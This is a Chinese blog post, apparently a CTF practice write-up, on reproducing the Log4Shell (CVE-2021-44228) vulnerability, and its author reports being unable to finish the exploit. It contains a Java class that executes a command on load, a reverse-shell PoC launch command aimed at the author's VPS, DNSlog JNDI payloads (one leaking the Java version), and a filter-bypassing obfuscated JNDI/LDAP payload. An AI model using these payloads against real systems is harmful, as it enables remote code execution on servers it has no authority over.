(脚本小子)log4jshell

理解

原理参考
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://logging.apache.org/log4j/2.x/
https://zhuanlan.zhihu.com/p/444140910
简单来说,用户输入会记录在log4j中,而log4j自带lookup功能,格式为${parser:xxx}。如果用户输入lookup会被log4j解析。
jndi是parser的一种,是一种标准的Java命名系统接口,可以连接远程服务,格式为${jndi:schema://url}
ldap是schema的一种,${jndi:ldap://url}会使log4j从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
而url的内容可以被控制,我们可以返回恶意代码
JNDI服务用脚本或者什么工具可以一键搭建。具体见https://segmentfault.com/a/1190000041117219
而恶意类类似这样

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

即可弹计算器

复现

使用ctfshow上的靶场
https://ctf.show/challenges
LDAP服务器用自己的VPS,搭建用大神写的脚本。(什么是脚本小子啊)
我用的POC(内含LDAP一键搭建和docker靶场环境)
https://github.com/kozmer/log4j-shell-poc
(貌似这个POC的docker有问题,在本地死活弹不了shell555)
把POC文件放在vps上就可以了。启动脚本的时候把命令换成
python3 poc.py --userip [vpsIP] --webport 8000 --lport 9001
具体过程略
这里好像有个坑(没验证过),lookup可能只用于DNS解析。所以必须尝试payload
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}xxxxx.dnslog.cn/exp}
第一条有回显,第二条无回显,才能说明漏洞可以利用.

题目:长安战疫 shiro?(表面复现)

登陆界面存在触发点。过滤了jndi和ldap关键字。如下构造lookup绕过
${${::-j}ndi:${::-l}dap://ip:1389/a}
然而然而,卡在这一步了
image
然后拿ctfshow的靶场又试了一遍,发现居然也不行qwq
我不理解啊!!难不成因为上次是校园网就可以,在家就不行???
然后调了一下vps,好了,vps炸了。重启,无限卡重启。
/kill

posted @ 2022-01-11 20:03  KingBridge  阅读(507)  评论(0编辑  收藏  举报